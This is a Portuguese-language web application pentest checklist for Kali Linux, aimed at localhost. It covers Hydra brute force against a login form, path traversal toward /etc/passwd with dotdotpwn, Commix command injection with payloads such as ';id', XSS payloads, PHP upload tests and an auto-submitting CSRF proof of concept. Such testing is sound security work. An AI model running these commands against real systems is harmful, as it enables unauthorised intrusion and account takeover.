# **🛠️ Roteiro de Testes no Kali Linux**

## **1. 🔑 Senhas fracas / Força bruta**

### **Hydra**

hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post-form \  
"/login.php:username=^USER^&password=^PASS^:F=Invalid login"

* -l admin → usuário fixo
* -P → wordlist (pode ser a sua própria)
* F=Invalid login → string que aparece quando falha

👉 Alternativa: **Medusa** (medusa -h para opções).

## **2. ⚠️ Tratamento de erro inapropriado**

### **Curl**

curl -i -X POST "<http://localhost:8080/api/items>" \  
 -H "Content-Type: application/json" \  
 -d '{"price":"NAO\_NUMERO"}'

* Verifique se a resposta mostra **stack trace** ou erro interno.

## **3. 💾 Dados sensíveis em claro**

### **Wireshark / tcpdump**

sudo tcpdump -i lo -A port 8080

* -i lo → interface local (se app rodar em localhost).
* Veja se aparecem senhas em **texto claro** no tráfego.

## **4. 🧪 XSS**

### **XSStrike**

xsstrike -u "<http://localhost:8080/search?q=test>"

👉 Ele tenta payloads automáticos e mostra os que funcionam.

### **Manual com Burp Suite / ZAP**

* Intercepte requisição e injete:

<script>alert(1)</script>

## **5. 📤 Upload de arquivos**

### **Burp Suite**

* Intercepte upload.
* Troque extensão .jpg por .php e envie.

### **Curl simples**

curl -i -X POST "<http://localhost:8080/upload>" \  
 -F "[file=@teste.txt](mailto:file=@teste.txt)"

## **6. 📂 File Inclusion (LFI/RFI)**

### **Dotdotpwn**

dotdotpwn -m http -u "<http://localhost:8080/view?file=TRAVERSAL>"

👉 Ele vai tentar caminhos como ../../etc/passwd.

## **7. 💣 Command Injection**

### **Commix**

commix --url="http://localhost:8080/ping?host=127.0.0.1\*"

* O \* é onde o **Commix** vai injetar payloads (;id, && whoami, etc.).

## **8. 🔄 CSRF**

### **OWASP ZAP ou Burp**

* Intercepte uma requisição legítima (ex: troca de e-mail).
* Use a opção **“Generate CSRF PoC”**.
* Vai gerar um HTML como:

<form action="http://localhost:8080/api/profile/email" method="POST">  
 <input type="hidden" name="email" [value="csrf@attacker.local](mailto:value="csrf@attacker.local)">  
</form>  
<script>document.forms[0].submit()</script>

* Abra no navegador → se trocar o e-mail sem pedir token, está vulnerável.

# **🚀 Fluxo sugerido**

1. **Comece por Hydra** → teste senhas fracas.
2. **Envie payloads inválidos com curl** → veja erros expostos.
3. **Use Wireshark/tcpdump** → capture senhas em claro.
4. **Passe XSStrike e Burp** → XSS refletido e armazenado.
5. **Teste uploads** → txt e php.
6. **Dotdotpwn** → LFI/RFI.
7. **Commix** → Command Injection.
8. **Burp/ZAP** → gere PoC de CSRF.